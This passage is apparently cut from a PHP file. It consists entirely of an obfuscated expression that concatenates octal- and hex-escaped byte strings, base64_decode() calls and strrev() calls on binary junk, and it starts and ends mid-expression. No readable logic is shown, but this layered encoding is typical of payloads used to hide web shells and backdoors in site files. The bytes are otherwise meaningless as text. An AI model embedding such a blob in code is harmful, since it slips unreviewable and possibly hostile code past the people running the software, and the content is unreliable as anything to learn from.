xcc\x60"."\52\315\56\212\331\203\346\110\201\331\37\30\205\201\64\123\374\114\235\305\126\305\314\172\326\360\31\14\35\353\331\4\245\363\72\263\75\232\301\360\170\366\314\231\154\241\226\314\225\166\77\103"."\224\151\254\7\254\255\365\154\232\130\237\146\314\204\254\351\63\141\260\262\45\324\44\166\270\61\240\367\26\215\54\164\43\333\153\254\54\61\3\264\351\314\372\164\372\154\230\271\222\65\220\311"."\xb1\xcd\xeb\xb4\x6\xf8\xd2\xe0\x48\xff\x40\xc1\x80\x1\x1e\xb4\x57\xac\x32\x8a\x30\xe5\xc3\x2b\xfa\x86\x56\x96\x60\x6d\x4e\x81\xf6\xac\x4c\x67\x35\x9b\xd\xe2\xca\xc1\xa1\x94\xbd\x8a\x9d\xb8\x98\xc3\x5a\x31".base64_decode('D4M42LtS7x8BjMyO9Ot9Btum2/3ZEQNyhkeKJS0LSNiXtrXcABCToYylc6uWGYAVlpkbKA==').strrev('š7<´å÷‘¤'."\n".'ì\'\'ɸÕá©]͕ڷ0E0'."\r".'KY¨¦'."\r".'7¡»"ì«ÛèÇ ¨lé¢yÙe')."\151\203\146\313\151\3\272\316\14\347\141\331\333\302\20\3\54\155\41\335\310\351\102\271\115\217\20\130\111\261\133\307\252\22\311\224\3\107\23\162\55\251\274\55\145\243\230\43\67\41\333\366".base64_decode('Q+9wC31yr5flGKJUOIoEha5lDZlFGLEBM53KmqW0o9Z0r6/CSNKeVMrpc6dzgx9VEwb9OA==')."\44\324\256\64\7\137\336\12\113\327\75\325\176\335\146\166\271\120\127\163\40\21\16\252\35\1\146\111\252\25\12\176\53\75\140\371\261\271\207\61\250\107\214\136\77\276\376\210\57\152\373\370"."\5\301\24\276\221\243\152\275\146\321\146\172\274\22\276\76\67\340\356\250\303\266\236\245\71\146\263\227\140\32\267\172\302\177\140\74\351\45\143\13\133\211\363\73\161\24\332\307\20\246\127\102"."\123\172\146\140\153\326\200\117\116\366\312\271\106\36\215\143\66\353\163\136\73\307\367\277\73\73\324\144\40\261\120\262\46\304\367\223\31\116\253\142\234\245\176\10\144\222\146\126\306\51\147\237"."\31\316\356\337\261\173\164\363\326\261\113\156\35\333\264\175\364\236\213\366\157\277\165\364\276\113\120\164\357\256\363\107\267\137\363\372\345\147\355\335\265\151\357\256\165\373\317\271\343\137\367\156"."\34\335\274\143\377\31\367\215\136\165\323\350\217\317\331\273\373\276\375\367\237\263\357\246\363\366\356\332\66\166\325\271\243\147\335\271\167\367\326\321\37\136\67\172\316\346\261\213\66\355\275\357"."\52\4\77\366\103\121\63\2\33\335\166\31\56\173\357\372\321\135\273\366\137\177\23\317\375\327\275\247\323\306\254\2\142\266\100\267\225\304\242\10\63\21\43\13\105\231\247\300\22\321\55\237"."\322\221\105\244\132\127\310\324\143\173\62\73\243\27\25\233\330\225\151\350\157\336\314\173\351\22\240\127\346\55\305\310\343\154\205\215\265\217\57\223\244\236\53\140\144\207\121\362\323\273\263\216"."\33\32\322\212\250\64\314\64\243\2\36\341\261\26\163\125\203\203\160\122\210\365\221\112\237\206\22\322\215\112\37\52\246\260\33\142\212\155\262\160\156\204\117\272\153\131\126\234\126\336\14\66".base64_decode('tf38WEBoq6Fh0tUbehRUhlJknTuJlIMCOMmbnOUcCVAnE6sGj0Kb4lHIWbbivCiOrRQYcw==').base64_decode('lNeM3PyiXsjyQy2ska04iK4uJCoMF++EIxOtx5JdAVAeVVlNbZjBLCKx4pCV2BOI5tKoUA==').base64_decode('j6MPcQpd1NMGM3TWcwQSiJdPOpyit6m4tXUKoX3Rce42d34hU8BeN+w588Hsn12rk9oAYQ==')."\161\73\114\116\315\272\317\362\370\42\151\151\226\174\137\140\260\106\257\327\53\351\234\205\265\33\16\101\165\342\110\33\245\205\360\12\36\57\275\205\133\172\240\245\335\337\257\133\166\43\271\144"."\xab\x4c\x56\x50\x43\x67\xf9\x1a\x50\x80\x2c\x82\xe9\xbe\x99\x28\x48\x46\xc\x16\x6e\x37\x8c\x62\xc9\x62\x57\x9e\x26\xf9\xa6\x81\x54\x69\xcd\x1\x33\x95\x39\x84\x7e\x34\x49\xcd\x87\x74\x51\xa\x31\xa\x96\x8a".strrev('š£—¿ê'."\0".'âwm•€'."\0".'†”i~ƒ«†ž¾E“hxÄú ÁöªÕ-”´sB¥§ÏYötnÙãÊ^$')."\136\304\44\323\26\261\225\5\256\1\125\132\222\117\202\270\300\50\134\234\14\327\147\24\265\345\51\57\40\106\234\347\106\262\126\126\143\147\242\26\276\274\223\327\71\376\225\54\176\154\203\15"."\312\125\44\121\130\2\127\325\64\23\26\43\341\146\265\45\14\146\224\201\216\260\232\110\304\44\316\116\356\62\57\125\27\306\132\324\140\54\266\60\14\70\326\50\321\74\174\167\122\34\161\343"."\230\270\103\211\217\205\144\143\66\131\314\301\156\71\60\343\114\50\140\364\211\260\70\330\26\210\163\123\373\351\276\172\137\203\200\105\37\124\361\125\203\46\166\317\77\221\14\304\53\70\147\241".base64_decode('TltgqMFRCxRoiy1RgrFIZ3s0QX2S0PRoTMonBtWQzVy3lGdD9aGOSCAYUsLRZIxdleA2rQ==')."\xe4\x92\x4c\x82\xc7\xd9\x10\x14\x2d\x9d\xbb\x66\x81\xf2\x34\x22\x5f\xe4\x91\x6b\xe4\x35\x1\x72\x76\x79\xaa\xbb\xab\xba\xeb\xba\x6b\xba\x6b\x97\xfb\xba\xad\x1e\xbf\xc4\x85\xc\x79\x7a\x20\xd2\xd1\x2\xdd\x6b"."\xe4\xa1\xb4\x5\xcb\xb2\x3d\x81\xd8\x37\xd\xc6\xe2\x81\x60\x84\x35\x5\x9\x78\x10\x8c\x5\xc3\x34\xb0\xef\xe2\xdb\xf6\xde\x73\xfe\xbe\x2b\xb7\x8f\x9e\xbb\x9\x55\x34\x76\xc5\xfa\xb1\x4b\xef\x44\x42\x7\x16"."\64\266\157\334\267\347\374\261\213\167\214\155\4\1\101\331\277\343\256\275\367\335\277\357\342\233\106\267\137\66\266\365\356\175\127\234\111\63\136\277\371\266\321\15\67\361\206\51\257\137\264\147"."\xec\xfc\x9f\x70\xe1\x83\xca\x1c\x1e\x54\xfa\xf5\xb3\x36\xed\xbb\x6f\x3b\x16\x3d\x6e\x58\x37\xb6\xf3\xbc\xb1\xab\x36\x8d\x6e\xb8\x7e\xf4\xf2\x9b\xf6\x9d\xbf\x63\xf4\x47\x67\x8c\x9e\xbd\x69\xff\x8e\x4b\x26\xba".base64_decode('EYnGu9hUwPVt/2n46j0d3m5rMh7aWvRbgy9goF9mR05sixd1hqLBkPsmkxwFvzZ1FEOouQ==')."\xd\x48\x9b\x16\xf8\xc5\x61\x71\xe2\x3\xa3\xa9\x7a\xdc\x56\xac\x81\xf9\x97\x1a\x25\x35\xa6\x25\x94\x8\xc6\xc3\xcd\x21\x30\xf1\xe7\x13\x35\x89\x48\x4a\x60\x6c\x81\x52\x13\xf1\xc5\x3c\xcc\xaf\xbe\x96\xf9\x21"."\x52\x6a\x18\x32\xd7\x2a\x8e\x8e\x68\xbe\x94\x99\x2d\xe5\xf2\xa4\xb1\x4a\x15\xb6\xfd\xaa\xf2\x60\xce\x42\xae\x55\x29\x55\x98\x4b\xa2\x4\x1d\x5f\xd8\xaf\xc1\x1e\x4a\x88\x89\x70\xf5\xb2\x6a\x4f\xbd\xa7\xa1\x56"."\x1\x27\x45\xb4\x4\xb8\x26\x52\xaa\xc0\xd2\x9c\x97\x73\x7c\xc4\xd3\xeb\x88\x35\x78\xea\x6b\x95\xaa\xc2\x40\x15\xb4\x4b\x8c\x2b\x6a\xbd\x4a\x21\x2d\x45\xf3\xd4\x40\x83\xe5\xe6\xa\x58\x44\x17\x2d\xbb\xa8\x19"."\150\217\242\244\74\74\211\227\107\277\16\167\103\51\237\50\101\347\11\101\270\323\224\100\264\305\11\111\275\24\165\124\23\103\315\224\317\346\256\116\330\64\127\327\52\275\160\161\242\102\46\51".strrev('ŽD&¼ûàç€QáC“@ÝDÖ [:TáTÉR'."\n".'&ÅšY´rÛС½7Ï€±Ñ:LÔ`Ç&Œæ')."\170\6\233\101\234\316\47\261\102\36\161\37\125\105\245\71\332\317\234\325\317\110\35\134\313\157\137\306\373\300\160\131\141\42\6\167\76\205\357\375\205\222\301\66\212\345\11\11\315\323\275\223"."\x1c\x88\x2a\x86\x53\x71\xa0\x8\xdf\x12\x0\x1c\x5d\x2e\x98\x20\x4c\x20\x70\xe1\x68\x6b\x2c\xde\x4e\xef\xbb\x25\x82\x6d\xa1\xf6\x80\xf\x88\x38\xc5\x4\xa\x8f\xe5\x27\xa5\x49\xa9\xc6\x94\x8f\x26\x55\x3b\x86"."\237\174\210\15\131\222\174\25\255\53\325\106\302\20\35\205\102\77\64\6\146\137\41\376\5\64\122\244\251\232\272\200\201\52\271\227\264\130\74\251\242\1\0\362\54\121\335\152\211\133\110\346"."\344\370\366\326\40\223\345\373\220\164\143\62\205\140\272\227\71\123\103\225\343\72\203\261\150\153\230\135\355\153\201\235\157\41\155\72\200\132\342\141\354\341\3\276\257\260\252\244\13\225\50\42"."\114\73\120\244\60\224\346\141\341\64\1\147\160\236\217\42\202\345\243\10\147\66\30\112\362\372\206\277\237\210\362\260\20\140\121\244\63\301\156\166\140\352\273\244\205\207\333\370\375\166\234\21"."\x8b\x4b\x91\x40\x3c\xd0\x9e\xe0\xd1\xf8\x12\x7e\x53\x84\xa7\xd1\x1b\x23\x6a\xb4\xb3\x5d\x50\xfc\x48\x60\x31\x42\x96\x98\x10\x50\x18\xb5\xae\xf1\xd5\xcd\xaf\xed\xa6\x97\xf0\x68\x90\xfe\x9c\xcc\x62\xf8\x62\x52"."\317\352\6\217\62\143\155\55\300\160\117\31\166\306\310\63\11\22\177\145\121\104\215\304\26\320\70\361\106\27\312\247\305\176\103\351\122\220\70\233\24\342\254\305\130\27\137\15\12\302\141\205".strrev('û5š†8¹tl`(wÛqbaY¥®©qrÖ ·P÷WZÌïá€ÊLàá%±¢Ué^')."\231\373\42\104\20\231\270\100\177\227\262\0\241\225\120\40\105\256\73\17\363\106\4\274\247\252\335\153\272\117\352\366\372\350\115\106\54\274\164\173\104\223\324\320\122\304\143\23\11\307\65\114"."\x95\x38\xea\x82\xda\x51\x2f\x21\x44\x57\x2d\x8d\xcc\x85\x1f\xd8\x51\xcd\x5\x69\x1f\xa2\xf3\x9a\xf8\x64\x86\x16\xad\x89\xa2\xbf\xb\x92\x6b\x42\xe8\x6f\x4\xfd\x44\x92\x68\xba\xc\xe\x80\x96\x64\x24\xbc\x30"."\264\6\377\43\62\152\371\100\322\13\113\316\2\341\350\32\364\57\42\60\153\302\121\167\145\315\241\344\222\120\210\2\260\60\374\12\120\104\160\240\253\222\267\102\174\211\0\262\305\245\2\250"."\x5a\x55\x6b\xc8\x60\x7a\x7b\x26\xd7\xaa\xaa\xdf\xea\x4\x7c\xe1\xae\x40\x6a\xaa\x4f\x6c\xa8\x6\x1e\x12\x48\x4\x5\xf5\x75\x20\x44\x39\x2e\x10\x93\x7f\x27\x22\x70\x1f\x7c\x10\x5f\x10\x8f\x75\x76\x48\xf1\xb6"."\300\342\160\164\1\213\371\353\130\250\16\252\126\132\302\11\64\104\101\206\214\302\65\240\34\7\201\223\210\105\262\324\353\100\351\26\104\331\121\104\22\331\361\146\200\122\146\347\52\153\356\14".strrev('E ;¼e!B ˆE†F,'."\0".':`1<> ˜YÈx"Î|¹8±Æ±&SÀê¡'."\n".'ç+äZG')."\131\36\332\371\241\135\33\333\316\145\264\101\176\165\162\116\272\127\362\23\202\151\260\217\152\274\260\267\30\264\125\324\270\166\323\245\244\44\372\45\151\73\117\315\0\25\351\352\66\326\166\112"."\72\41\77\205\100\302\47\201\101\277\335\313\347\23\341\170\71\303\123\172\153\330\116\32\166\326\361\121\270\135\210\76\32\46\127\72\245\317\262\133\30\104\271\247\232\222\312\233\360\155\71\101"."\250\223\250\176\34\64\261\102\133\203\255\41\211\216\226\106\235\73\52\116\246\226\363\215\22\270\135\360\300\57\264\350\10\372\323\15\121\246\231\350\206\217\124\173\200\351\166\63\201\275\253\173".base64_decode('uL7ei/6Zhf42o79B9DeEE1q7h2e2osDs1h4/GJmzSxxORXl3d9V4gwwAbKghWkWjrJTBOQ==')."\x67\x2a\x83\xdd\xd7\xa8\x76\x8e\x69\xbd\xc9\x16\x4f\xa8\x9b\xa9\xe2\x5b\xc4\x5b\xe2\xb1\xe\x2a\xc7\x28\xe1\x56\x85\xfa\x72\x50\xaa\xa9\xaa\xbc\x1a\x4\xb4\x60\x3c\x84\xd7\x18\x85\x62\x79\x35\xd5\xe\x55\xd5"."\274\152\5\356\167\327\72\113\205\243\55\241\245\112\265\221\36\126\65\115\205\302\12\132\321\254\42\245\254\46\126\3\155\53\73\161\312\230\103\212\214\244\154\327\35\244\151\111\201\270\145\2".base64_decode('HvHKwO7SemBrz3OoXE2zwgnE9iMR0lOUZVhYHPYo3HkCTsRbGKr2hIpYBq2IZoWWJuMBnA==')."\110\144\330\103\47\240\77\204\54\341\75\126\61\247\321\13\246\104\362\363\55\7\125\303\162\207\240\111\105\120\54\152\2\336\21\306\51\365\211\347\20\175\3\35\146\131\33\261\20\144\167\32"."\353\210\207\333\3\361\145\60\144\142\47\1\13\327\314\72\256\31\213\210\141\165\112\27\335\243\250\325\362\305\167\72\307\234\116\243\135\61\243\323\250\65\64\130\205\147\236\6\301\357\254\312"."\xef\x31\x33\x55\x4c\xd\xbb\xf\xec\x61\x1\xe6\x48\x82\x5c\xb5\x62\x5a\xac\x1c\x22\x5c\x3c\x26\x66\xd\x70\x1f\x66\x45\xce\x95\x2f\x8b\x9\xc7\xb8\x98\xd5\xe2\x49\x66\x3c\xa3\x35\xd0\x19\x91\x53\x60\xa8\x94".strrev(''."\0".'ža."¦2gt8'."\n".'´&÷Ü8gcÊ[gh)š¨ÿC¦jAµ|:”Ç–­+KXF±Ÿe¡…')."\75\342\303\52\265\127\332\275\313\223\2\325\140\0\356\145\370\63\272\306\140\52\165\215\227\347\372\253\120\164\101\70\32\152\152\37\11\47\2\355\12\153\70\150\350\260\307\315\131\120\117\70".base64_decode('pkaQZK3KSrhwDBTADneOqir8o/g0YVhuF0uSczzDJEbc7fy+B7E6RwgREO4RuJKa5JV6cQ==').base64_decode('aZnpQXmX11TDbMQ5GJjKOnMEuOr4uNtqW04WBuXidJkdYHPnelCgU3JvgAsr7IPkNCfvbA==')."\x1e\x62\xb3\x59\xe6\xe0\x4a\xd5\x45\x6f\x72\xba\x65\xf1\x53\xe6\x64\x46\x57\xac\x82\x9e\x22\x6e\x3a\x15\x70\x2e\xa7\xa4\x4d\xdd\x12\x7e\xbd\x61\xec\xc9\x6e\x8b\x5\xed\x8c\x70\x4\x21\xfb\xb7\x6d\x69\x66\x83"."\x5c\xca\xdb\x9\x3d\xb\xca\xf9\x96\x5e\x62\xb9\x2f\xee\xd8\x89\x3b\x4d\x92\x45\x3f\x39\x63\x11\x33\x47\xbd\xf6\xb9\xa\x42\x4d\x61\x3e\x34\x12\x94\x48\x8c\x8\x87\xb6\xf8\x48\x43\xd4\xd9\xc3\x74\x6\x62\x3c".base64_decode('VhmMCboPAXkj82aHXswZ5BxniTimAT6DKqDz71Nc5eRRx2d/ZZDY4cVnzSHzbUZaJl2wxA==')."\121\300\25\174\220\51\135\133\51\345\321\107\274\362\105\50\204\73\44\121\272\172\301\134\34\322\330\114\60\341\100\370\11\201\176\110\141\277\105\226\343\23\16\162\110\235\130\252\362\12\207\25"."\151\115\276\163\52\171\206\237\50\143\12\231\162\201\333\175\206\354\275\302\47\174\2\363\345\162\62\237\50\174\27\33\116\323\261\300\336\247\112\155\351\340\360\302\33\50\35\15\151\32\110\2"."\15\222\5\256\64\212\106\264\31\30\377\107\44\334\221\122\333\231\63\47\360\110\34\61\373\71\155\102\202\53\170\14\163\320\247\160\14\312\372\164\174\21\213\136\213\11\161\207\216\250\40\165"."\x7b\xf7\xf9\x85\x3a\x25\xa7\xcc\xe3\x90\x94\x8a\xe5\x82\x0\xc8\x3f\x58\x24\x4a\xa7\xcf\xff\x60\x5c\x17\x5c\x1f\x15\x23\xf7\xde\x3e\xb7\x90\x20\xb1\xe4\x4b\xa4\x90\x44\x96\x5d\x65\x8\x3a\xd2\x3b\x3a\x30\xf3"."\x19\xc8\x16\x38\x86\x78\x41\x34\xa6\xb6\x21\x76\x13\x63\x42\x89\x61\x25\x1d\xe4\x9d\x95\x2\x12\x62\x23\x99\x29\xe5\x27\xb7\x88\x61\xe3\x38\x87\x58\xb\xd0\xf3\x4b\x98\xec\xd5\x88\x72\xf3\x10\xb3\xf5\x0\xdf"."\x60\x42\x18\x8\xd0\x9f\x65\xb9\xb4\x17\x35\x1c\xb0\x2e\xad\xdb\xdc\x35\x13\xa6\x82\xec\xf6\x25\x6e\xb3\x74\x7\x3b\xc7\x9\xec\x90\xe4\x85\x55\x1b\xd4\xf1\x35\x37\xa6\x96\x29\x33\xdf\x81\xae\x94\x77\xe\x9a"."\210\317\315\22\261\316\70\73\343\301\161\254\333\122\343\241\340\62\176\334\302\123\133\3\213\335\51\141\254\233\14\54\250\230\314\65\146\70\235\154\115\325\170\14\253\26\103\221\126\127\201\104"."\x1b\xf7\xe0\xeb\x4c\x53\x23\xe1\xe8\xc2\x8a\x19\x48\x34\x69\x97\x8a\xd0\xc4\x70\x32\xd4\xee\x4e\x73\xd6\x90\x8\x5\xe2\xcc\xbd\x34\x8e\x37\x47\x62\x41\x29\x3b\x1c\x2b\x1f\x9\x2e\xfb\xf0\x44\xaa\x98\xa4\x89".strrev('bÒ%|ÀNèÓæ1l“Žøî¹(Þ+ޝ¾·Mmm{¿;\\™íW†'."\r".'`×¥Ú#Q]“WºjÓþ')."\20\363\373\174\360\21\36\360\167\373\231\377\57\277\310\204\137\1\177\202\213\307\200\73\367\4\165\246\344\150\250\313\347\10\273\344\357\163\337\105\123\331\5\64\106\131\265\76\146\45\20\246"."\xc7\xb7\x6a\x62\x59\x82\xcf\x95\x33\xcd\x81\x91\x14\xa7\x65\x63\x9\x17\x30\xfa\xdb\x21\x83\x62\x3b\x9c\x8a\x80\xe\x94\x76\xdc\xad\x96\x93\x7c\x86\x29\x56\x8b\x58\xd6\x69\x33\x55\xc2\xee\x9b\xc4\x1c\x89\x9b"."\xd8\x28\xc9\xe7\xa8\x2\x11\xf4\x1\xa1\x1d\x80\x55\x99\x60\xab\x37\x8f\x78\x25\x30\xe3\x20\x92\x5a\x17\xb4\x85\x4f\x59\x18\x69\x8f\xc6\x3a\x16\xc5\x13\xc9\xce\xc5\x4b\x96\x2e\x3\x8f\x93\x8d\xc\x69\xfa\x14".base64_decode('L9OFgONb/6BW9A8yV/6L8aZDt/yyMMcTUR+xW2LmUY2qMHguph7+ylm0Nn8ubzeMA9FR1A==')."\173\115\323\36\47\167\161\373\147\127\14\231\135\335\126\17\307\322\264\76\10\101\141\310\146\211\255\26\10\31\136\371\111\1\214\255\262\274\230\356\165\111\3\220\40\14\371\44\231\101\44\162"."\xc7\xd4\x34\x3a\xa2\xb\xb3\x44\x73\x48\x72\xec\xcc\x16\xcd\x4a\xe2\x43\xd4\xed\x80\x74\xa5\x57\x1b\x70\xe4\xb\x77\xce\x2b\xbd\x68\xfb\xe9\x88\xbb\x9c\x90\x9e\x44\x68\x7c\xbb\xd9\x5f\x9c\xe2\xb7\x71\x4b\xf2"."\x88\x2f\xc0\xd7\x40\x52\x90\x97\x1\xe1\x15\xdc\x9e\x7\x73\xa4\x36\xd7\x22\xe4\x89\xdc\x29\x47\x82\xd8\x5b\x36\x2a\xd3\xc0\x9\x7f\x2b\x92\xa9\xd3\x4a\x17\x15\x93\x41\xa5\x8f\x45\x2c\xe2\x47\x9e\x46\x3d\x8a"."\x70\x77\xcd\x94\xb1\x4e\x3f\xd6\x6c\x1d\x60\xbd\x99\x74\x9b\x36\x25\xbb\x64\x60\x54\x35\x37\x20\xc\xc4\x72\x3\xdc\xc8\x23\xe5\x90\x2a\x30\x3\x6f\x95\xec\xc8\x84\xe0\x0\xaf\x65\xa0\xbc\xe6\x11\x66\x9b\xb"."\167\124\233\107\342\322\73\100\16\167\30\362\373\42\132\241\20\314\340\76\70\26\247\43\51\45\107\372\260\151\212\154\322\342\164\246\215\262\133\250\364\226\346\360\226\10\161\207\250\175\222\253".base64_decode('1LIakKSXD7Hr+GW5SCw0RPZnt6WdDC8Hhp0BYD3jCRZbbScNe03L8haKJrZcazJy/X5rCA==').base64_decode('8rKaZS92uCn6XF/a2BtHO5eToQnDXoLV7COSMOMvEstezxDwBQ9xoKnWM4Txo7b5sX9FIg==')."\xd0\x72\x83\xb3\x58\x82\x9d\xff\x38\x7b\x4f\xdf\x88\x92\xb6\xd8\xe0\xe2\x8d\xfb\x8f\xe6\xde\xa5\x85\xb\x6a\xaa\xb6\xa7\x61\xe1\x1b\x17\xc9\xe5\x81\x7e\xec\x9c\xc4\xcc\xb3\x57\x70\xe8\xdb\x4\xb2\x8f\xf3\xb4"."\116\232\313\257\343\113\356\301\361\373\30\150\251\63\233\74\311\121\70\222\364\372\371\64\22\167\300\262\333\105\74\344\336\234\343\131\14\72\101\116\367\333\226\256\17\60\33\102\74\333\202\242".base64_decode('FLmXdHqa662Y4JWsAul6kp5LwJ+DDX6GPsQA7aU/p1ZqvbcoHJej2aHPOizUR5gvcBeZcw==')."\271\17\357\136\320\335\336\235\224\273\153\27\265\276\76\324\130\311\241\252\243\55\302\133\71\140\23\171\342\204\15\301\370\276\316\341\250\342\244\212\256\322\41\63\116\373\36\304\333\252\141\374"."\376\204\360\350\331\31\217\70\316\237\0\224\365\162\125\306\33\144\6\136\146\51\233\46\133\125\364\51\63\213\166\351\342\44\172\354\322\353\306\176\161\311\376\373\257\31\73\377\47\173\167\355"."\x1e\xbb\xea\x1e\x9a\x4e\x47\xad\x45\xcf\xf3\xb9\x1f\x3b\xef\xc2\x7d\xbb\xaf\xde\xbf\xfd\xfe\xd7\x2f\xdd\xfe\xaf\x7b\x37\xee\xdf\x71\x17\xb6\x34\xba\xf6\x27\xd4\xf0\x68\x74\xf3\xfa\xb1\x4b\x6e\x1d\xdd\xbc\x61"."\xff\xce\x33\xc7\xee\xd9\x32\x76\xf5\x19\xaf\x5f\xbe\xe5\xb5\x75\xeb\x61\xf5\xe4\x89\x6b\xd1\x40\xb1\xbf\x24\xc6\x89\x16\x19\xbb\xee\xde\xd1\x7b\x37\xbf\x7e\xf1\xe5\xfb\x77\xec\x90\xe0\x6d\x6c\x7\x97\x95\x96".strrev('[Æï´ÙnŒf†^sû1¸™¨]Ç)Lâ»îïwç¸Ð'."\n".'Ëkâï°_7FŒýzϳÑÉš')."\335\205\250\77\376\12\205\306\266\236\263\167\367\235\256\102\121\63\121\112\145\232\45\177\351\143\33\317\31\335\176\5\377\310\336\135\233\250\21\271\253\10\267\174\343\360\264\376\162\370\4\303".strrev('Õ`-^výwØnÛc§åº1Û.&as¶ß};®ûÙÇtng“Ðö öÛ}ä,ì×m/·Sê')."\214\26\127\160\333\372\375\167\236\65\166\351\235\34\20\57\373\264\42\140\10\106\121\30\154\60\117\76\270\357\276\13\366\355\276\12\43\311\206\365\373\326\337\75\172\325\255\243\127\257\343\237"."\35\335\265\113\214\162\314\117\136\12\253\100\160\27\341\164\40\271\175\302\322\272\120\222\36\253\223\211\34\26\274\370\3\143\130\3\105\237\116\140\362\24\171\345\0\236\331\151\142\213\26\215"."\143\276\331\114\303\330\257\256\102\344\263\252\261\352\304\32\364\133\133\345\251\302\273\13\22\307\4\24\47\220\166\124\65\236\130\103\2\265\340\33\151\25\360\16\311\75\262\130\170\240\227\235"."\217\250\207\164\156\71\237\260\42\314\350\246\370\247\370\31\363\233\277\22\177\121\74\216\325\311\171\216\170\175\200\162\37\372\252\11\73\334\214\352\366\220\131\224\155\225\247\260\333\134\31\211"."\167\344\54\340\2\324\241\277\120\152\1\352\121\123\302\55\233\312\221\16\12\364\122\153\140\7\370\135\267\217\236\365\213\327\57\335\346\206\245\132\23\166\235\5\211\150\145\257\53\322\133\26"."\xa3\x17\x5c\x56\xfe\x3d\x2\xef\xfc\x1a\x3\x1e\x3d\xfd\xaa\x7d\x17\xbb\x20\x99\xfd\xac\x22\xa9\xc7\x44\x1\x82\xfd\x2e\x3a\xc2\x79\x83\x5c\x84\xe2\xfb\xff\x66\x15\x51\x65\x65\x23\x56\xdb\xd3\x84\xa5\xde\xce".base64_decode('wkgp78XqK29Cdp/peiCo3gmPFVBOeFlmSAnemxNB+nBRoyI/KyZ5ASfKTcrcmEUTpGFxgg==')."\45\11\321\242\117\334\51\301\22\202\352\224\20\116\166\265\27\133\244\170\221\230\217\327\30\132\270\266\41\275\205\40\203\70\337\251\162\277\136\345\36\5\122\4\153\103\275\362\313\131\303\150".base64_decode('H4az8XsoXqxb9Rrp8XIE4ajY1BS8P1AJpLNkpN2fJJY33lKJfbBipfIukQGQToR5ffKTGg==').base64_decode('WJnm5UeE7hc7xM5aK39tZFkurUyZ2jh9diO7v3wSMxwqFZiJPwqy10gm+vsYrRHvTrG+4Q==')."\x9\x97\x9e\x6f\x71\x24\x8b\x61\xe4\xf\x4a\x30\x22\xe5\x80\x13\xad\x75\xbc\x9a\x6\x1d\xa5\x8a\x1d\xe9\xbd\x19\x72\xb0\x43\x49\x14\x36\xa7\x53\xf9\xbb\x3c\x15\xa8\x35\xda\xa2\x33\xb9\xb\xa4\x50\xe9\x8e\x1c".base64_decode('n5B+FihyeE0skd7sgOgJoS+A4QOooabYNRF5VaIMqUwpP9AkZSq2aSo5LT8Cm9FJVuMkaw==')."\xe\xfe\x50\x13\xbe\xc7\x61\x4d\x62\x4f\x30\x9\x1f\xd2\x98\x57\x9\x27\xa1\xd4\xc5\x15\xe4\xd0\x63\x2c\x1f\x7e\x4a\xcd\x87\x19\x61\xbc\x24\x5f\x33\x44\x1c\xcf\x65\x3d\x21\xbf\x4b\xdb\x41\x38\x1\xf0\x46\xfa"."\xd6\x15\x64\x44\x3a\x17\x84\xa3\x92\x61\xa0\x94\xa0\x6\x5b\xa2\x6a\xa0\xa3\xa3\x62\x6\x4c\x16\xd5\x3f\x63\xab\x1a\xdf\xa\xe9\xb9\x4d\x1a\x9a\x8b\x36\x6d\x4a\xa\xdf\x1d\x6a\xaa\xc2\xa9\x55\x8a\x55\x4c\x31".strrev('bG'."\n".'¶¤‡àÙgž.ÂØýÙLÿŸI@o×7ž®Í’ò}CéD\\j@kšvB'."\0".'#3°~UÛg')."\x8a\x32\x57\x53\xe8\x88\x36\x55\x93\xd3\x94\x6a\x25\x83\xb8\x3f\x37\x2f\x9e\xe7\x2e\xcc\x9f\x47\x9b\xeb\xd7\xe4\x4c\xbc\xc6\xe2\x26\xdb\x59\xf2\xdd\xfc\x20\xf7\x9b\x59\xf1\x20\x2d\x20\x79\xe0\x27\x2f\x19\x5".base64_decode('tfzi8iK4cl9Kzuqi98Z65OkjN7bKS/uJ3sgv1BgqfUa08jEkP32rgBjYVAahPrNR0FIDGA==').base64_decode('+QSngGZARgdWStAMx5sjtmTzVMIXF8lZTlG8zLZ6Na0Iv0Wzdm15GlhRu7MCBcOdhDHInQ==')."\206\225\103\42\15\261\74\347\147\50\366\312\100\42\205\301\320\137\121\46\22\135\40\42\164\211\71\62\273\230\375\23\211\165\167\125\373\352\326\256\365\33\314\326\220\131\64\261\262\76\16\115"."\343\335\76\47\74\352\11\14\75\7\204\4\67\44\25\147\117\201\105\170\250\277\116\134\266\344\66\205\12\66\64\154\152\232\327\305\245\254\36\226\247\22\235\212\74\167\114\112\65\32\146\61"."\xa4\x40\xdb\xc8\xe4\x12\x1e\xc\x46\x85\x1c\xce\xd7\x5\xa5\x34\x3e\xa2\xdd\xb\x38\xdd\x79\xcf\x17\x8f\xd7\xd1\x71\x96\xc3\x81\x42\xc1\x41\x52\x58\x4\x1f\x6c\x65\x8d\x5e\x3f\xa7\x3\xf4\xb0\xcb\x97\x12\xb7"."\x19\x19\x8\xa1\x42\xae\x74\x6c\x22\xe8\xca\xc0\xd7\xad\x49\xf2\x20\xa2\xa4\x66\x91\xd3\x2d\x9e\x8e\xea\xe2\x89\x80\xe6\x98\xb6\x48\xa4\x84\x67\xcf\xb5\x52\x45\xa3\x60\x3b\xe8\x1a\x7d\x8b\xb9\x8a\x3c\x81\xb6"."\102\33\324\50\110\225\2\232\273\246\52\362\202\105\25\242\143\64\207\21\63\336\300\271\370\153\110\64\316\66\125\221\116\130\31\135\107\345\11\255\252\364\21\124\260\112\141\324\64\247\361\161"."\x2c\xda\x26\xe2\xa5\xfc\xde\x1c\x3c\x2b\xd9\x19\x87\x2b\x49\x81\x28\x1c\x31\x9e\x70\x1a\xfd\x3d\xf1\x4\xce\x38\xf0\x9b\x97\x59\x24\x33\x93\xb\x17\x84\x6e\x11\xc1\xbc\xf\x6b\x64\x29\x10\x3c\x6f\xd9\x11\x8f"."\x25\x63\x41\xf6\x7a\x9c\x53\x75\x4b\xd3\xa6\xb1\x4d\x86\x45\xef\x85\x8a\x7d\x19\xbb\x2f\xc7\x2d\x8a\x18\x4\x97\x2e\xfc\x90\x2\xd8\x50\x2c\xe5\xf3\xdc\xc4\x13\xe3\x2b\x67\x81\x4d\x95\xff\x74\x91\x53\x50\x3d".base64_decode('3TNOvtKlsTNSoK700DeRKdmCC+MnMpL4jrsFyZKfUezlVE/7uqivgKZ6dmmKGZSKu5IMUg==')."\316\121\60\153\350\221\331\265\37\310\247\130\131\325\370\130\17\236\165\252\366\124\327\370\352\152\253\313\163\250\351\256\63\37\133\300\251\247\44\120\46\74\242\4\54\236\334\112\14\106\302\241"."\x68\x52\xd\x3\x77\x6f\x98\x32\xd3\x57\x2f\x6e\xc\x1a\x96\xf0\x19\x4c\xc3\x41\x6e\x7